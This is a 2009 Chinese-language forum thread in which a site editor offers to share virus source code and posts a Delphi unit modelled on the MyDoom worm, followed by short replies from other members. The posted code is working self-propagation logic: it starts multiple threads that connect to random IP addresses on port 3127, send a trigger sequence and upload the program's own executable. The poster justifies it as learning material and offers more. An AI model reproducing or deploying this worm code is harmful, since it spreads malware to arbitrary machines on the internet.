找回密码
 立即注册
搜索
查看: 417|回复: 17

病毒程序源代码,有要的吗?

[复制链接]

340

主题

3478

回帖

5028

积分

网站编辑

积分
5028
发表于 2009-4-20 14:29:15 | 显示全部楼层 |阅读模式
基本上都是delphi代码的。很多很多种病毒。

其中包含诸多如来神掌级别的系统编程技巧,这都是在相关手册里面找不到的。让你玩弄windows如戏小儿。

有需要的就上传。

[ 本帖最后由 xug 于 2009-4-30 10:00 编辑 ]

340

主题

3478

回帖

5028

积分

网站编辑

积分
5028
 楼主| 发表于 2009-4-20 14:31:06 | 显示全部楼层
来个例子:

UNIT uMyDoom;

INTERFACE

USES
  Windows, WinSock, WinInet, sysutils;

PROCEDURE StartMyDoom(NumberOfThreads:WORD);

IMPLEMENTATION

VAR
  Request : ARRAY[1..5] OF BYTE = ($85,$13,$3c,$9e,$a2);

TYPE
  TMyDoom = CLASS(TObject)
  PRIVATE
    LANInfect    : BOOL;
    ISPInfect    : BOOL;
    szIPAddr     : STRING;
    szRemoteAddr : STRING;
    PROCEDURE SendFile(FileName,HostName:STRING);
  PUBLIC
    PROCEDURE StartMyDoom;
END;

//------------------------------------------------------------------------------
PROCEDURE TMyDoom.SendFile(FileName,HostName:STRING);
VAR
  F      : FILE;
  Sock   : Integer;
  I      : Integer;
  J      : Integer;
  Is_EOF : Boolean;
  TV     : TTimeVal;
  Addr   : TSockAddrIn;
  Buf    : ARRAY [0..1023] OF Char;
BEGIN
  szIPAddr:=IntToStr(Random(222)+1)+'.'+IntToStr(Random(255)+1)+'.'+IntToStr(Random(255)+1)+'.'+IntToStr(Random(255)+1);
  Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  Addr.sin_family:=AF_INET;
  Addr.sin_addr.S_addr:=inet_addr(pChar(szIPAddr));
  Addr.sin_port:=htons(3127);
  IF Sock<=0 THEN Exit;
  IF Connect(Sock,Addr,SizeOf(Addr))<>0 THEN Exit;
  Send(Sock,Request[1],5,0);
  AssignFile(F,FileName);
  FileMode:=0;
  I:=0;
  Reset(F,1);
  REPEAT
    BlockRead(F,Buf[0],SizeOf(Buf),J);
    IF J<=0 THEN Break;
    IF Send(Sock,Buf[0],J,0)<=0 THEN Break;
    I:=I+J;
  UNTIL j<>1024;
  CloseSocket(Sock);
  CloseFile(F);
END;

//------------------------------------------------------------------------------
PROCEDURE TMyDoom.StartMyDoom;
VAR
  WD : TWSAData;
BEGIN
  WHILE True DO BEGIN
    WHILE NOT InternetGetConnectedState(NIL,0) DO Sleep(1000);
    WSAStartUp(MakeWord(1,1),WD);
    SendFile(paramstr(0),szIPAddr);
    WSACleanup;
  END;
END;

//------------------------------------------------------------------------------
PROCEDURE StartRandomThread;
VAR
  MyDoom : TMyDoom;
BEGIN
  MyDoom:=TMyDoom.Create;
  MyDoom.StartMyDoom;
END;

//------------------------------------------------------------------------------
PROCEDURE StartMyDoom(NumberOfThreads:WORD);
VAR
  I        : WORD;
  Msg      : TMsg;
  ThreadId : Cardinal;
BEGIN
  Randomize;
  FOR I:=1 TO NumberOfThreads DO BeginThread(NIL,0,@StartRandomThread,NIL,0,ThreadID);
  WHILE GetMessage(Msg,0,0,0) DO DispatchMessage(Msg);                          //Make application resident
END;

END.
回复

使用道具 举报

340

主题

3478

回帖

5028

积分

网站编辑

积分
5028
 楼主| 发表于 2009-4-20 14:34:32 | 显示全部楼层
你的杀毒软件是不是也遇到过这个DOOM病毒?

原来是这个样子的。

菜刀可以杀人,卖菜刀可不是让你去杀人。

你可以将技术用在保护自己的知识产权方面,而不是大面积危害公共信息

这个话题先放这里,看看反映以及有无干扰再决定上传。

[ 本帖最后由 xug 于 2009-4-21 10:59 编辑 ]
回复

使用道具 举报

92

主题

6378

回帖

8487

积分

网站编辑

豆腐

积分
8487
发表于 2009-4-20 20:29:19 | 显示全部楼层
哦呵呵, 开眼界了, 以前还以为病毒都是低级语言编写的呢.
波浪式的发贴,螺旋式的灌水...
回复

使用道具 举报

94

主题

3613

回帖

4954

积分

论坛元老

海浩通缉犯

积分
4954
发表于 2009-4-21 01:19:35 | 显示全部楼层
我觉得研究一下倒是没有什么不好,其实语言都是那些,病毒源代码往往可以扩从一些思路!可惜我现在已经不是搞这个了,光搞sql了
回复

使用道具 举报

8

主题

1054

回帖

1439

积分

金牌会员

积分
1439
发表于 2009-4-21 09:27:03 | 显示全部楼层
看不懂源码啊,;16
回复

使用道具 举报

340

主题

3478

回帖

5028

积分

网站编辑

积分
5028
 楼主| 发表于 2009-4-21 10:58:14 | 显示全部楼层
原帖由 cvv 于 2009-4-20 20:29 发表
哦呵呵, 开眼界了, 以前还以为病毒都是低级语言编写的呢.



dos时代内存太小,才不得不设计得精巧一些。现在的病毒只要关心效果如何,根本不用担心代码量
回复

使用道具 举报

77

主题

1782

回帖

2466

积分

论坛元老

积分
2466
发表于 2009-4-21 12:31:17 | 显示全部楼层
q我们要的是防,不是要传!
子非鱼,安知鱼知乐!
回复

使用道具 举报

30

主题

1275

回帖

1732

积分

金牌会员

积分
1732
发表于 2009-4-21 12:39:03 | 显示全部楼层
搞不清楚如何把它变成一个EXE文件。
回复

使用道具 举报

29

主题

1553

回帖

1551

积分

金牌会员

积分
1551
发表于 2009-4-21 12:50:37 | 显示全部楼层
看不懂!传上来大家研究下!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|海浩社区

GMT+8, 2025-9-15 00:42 , Processed in 0.087204 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表